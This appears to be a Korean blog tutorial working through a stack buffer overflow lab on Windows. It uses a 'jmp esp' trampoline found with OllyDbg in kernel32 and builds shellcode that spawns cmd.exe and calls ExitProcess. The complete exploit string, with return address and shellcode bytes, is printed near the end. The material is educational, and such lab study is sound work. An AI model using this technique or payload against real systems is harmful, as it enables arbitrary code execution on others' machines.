윈도우 CLI 환경에서 컴파일 명령
type 명령




cl BOF2.cpp /link /debug /opt:ref,icf



오버플로 되기 이전 스택구조






오버플로우 적용이후

EIP가 변경되었다.
트램플린 테크닉
 
alt + e : 메모리 라이브러리 확인


Kernel32 , ntdll은 항상 동일한 위치에 로드됨
Kernel32 : 7c800000
ntdll : 7c93000
 
라이브러리 안에서 jmp esp코드를 찾는다.
 
ctrl + f find command


jmp esp를 찾는다.



7c86467b : jmp esp
 
"aaaaaaaa\x7b\x46\x86\x7c\x55"
\x55는 push ebp 이다 .






버퍼에 cmd창을 띄우는 공격코드를 삽입하고 BOF를 이용하여 리턴주소 변경, cmd창을 띄우는 시나리오

cmd창을 띄우는 인라인 어셈코드




컴파일하여 올리디버거로 확인



binary copy기능을 이용하여 shellcode 작성 





위와 같은 방식으로 입력하면 됨
하지만 에러가 뜬다.
기존 코드를 실행시켜보면 다음 실행할 명령이 없기 때문에 오류창이 뜨게 된다.
오류창을 없애고 정상실행을 하려면 ExitProcess를 이용하여 프로세스를 종료해주어야 한다.
 
올리디버거로 ExitProcess(0)의 시작주소를 찾기 위해 코드를 작성한다.



ExitProcess어셈코드 확인



ExitProcess(0)의 시작주소 확인



시작 주소 7c81cafa


공격코드
abcdefgh\x7b\x46\x86\x7c\x55\x8B\xEC\x83\xEC\x08\x36\xC7\x45\xF8\x63\x6D\x64\x2E \x36\xC7\x45\xFC\x65\x78\x65\x00\x6A\x05\x36\x8D\x45\xF8\x50\xB8\xAD\x23\x86\x7C\xFF\xD0\x6A\x00\xB8\xFA\xCA\x81\x7C\xFF\xD0\x8B\xE5\x5D






오류창이 뜨지 않고 정상 실행되는 것을 확인 할 수 있다.


+ Recent posts